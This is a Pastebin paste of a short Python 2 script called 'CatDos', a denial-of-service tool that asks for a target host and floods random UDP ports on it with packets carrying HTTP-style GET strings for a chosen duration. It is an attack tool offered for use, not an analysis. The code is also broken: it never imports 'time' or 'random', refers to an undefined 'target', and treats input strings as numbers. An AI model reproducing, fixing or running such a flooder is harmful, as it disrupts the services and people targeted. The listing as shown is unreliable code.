Advertisement
ZeekoSec

CatDos

Nov 20th, 2015
479
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.19 KB | None | 0 0
  1. import socket
  2. global host
  3. global ip
  4. global port
  5. global whotoattack
  6.  
  7.  
  8. print("   )\._.,--....,'``.")
  9. print("  /,   _.. \  _\ (`._ ,.")
  10. print(" `._.-(,_..'--(,_..'`-.;.' dos-cat")
  11. print("")
  12. whotoattack = raw_input("Target: ")
  13. host = whotoattack
  14. print("---")
  15. package = raw_input("Size: ")
  16. print("---")
  17. message= raw_input ("Message to send: ")
  18. print("---")
  19. duration = raw_input("Duration (0 is infinite): ")
  20. durclock = (lambda:0, time.clock)[duration > 0]
  21. duration = (1, (durclock() + duration))[duration > 0]
  22. packet = random._urandom(package)
  23. sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  24. print("---")
  25. print("An attack was launched on %s with %s bytes for %s seconds." % (target, package, duration))
  26. while True:
  27.         if (durclock() < duration):
  28.                 port = random.randint(1, 65535)
  29.                 sock.connect((host, port))
  30.                 sock.send( "GET /%s HTTP/1.1\r\n" % message )
  31.                 sock.sendto( "GET /%s HTTP/1.1\r\n" % message, (whotoattack, port) )
  32.                 sock.send( "GET /%s HTTP/1.1\r\n" % message )
  33.         else:
  34.                 break
  35. print("---")
  36. print("The flood on %s lasted for %s seconds." % (whotoattack, duration))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement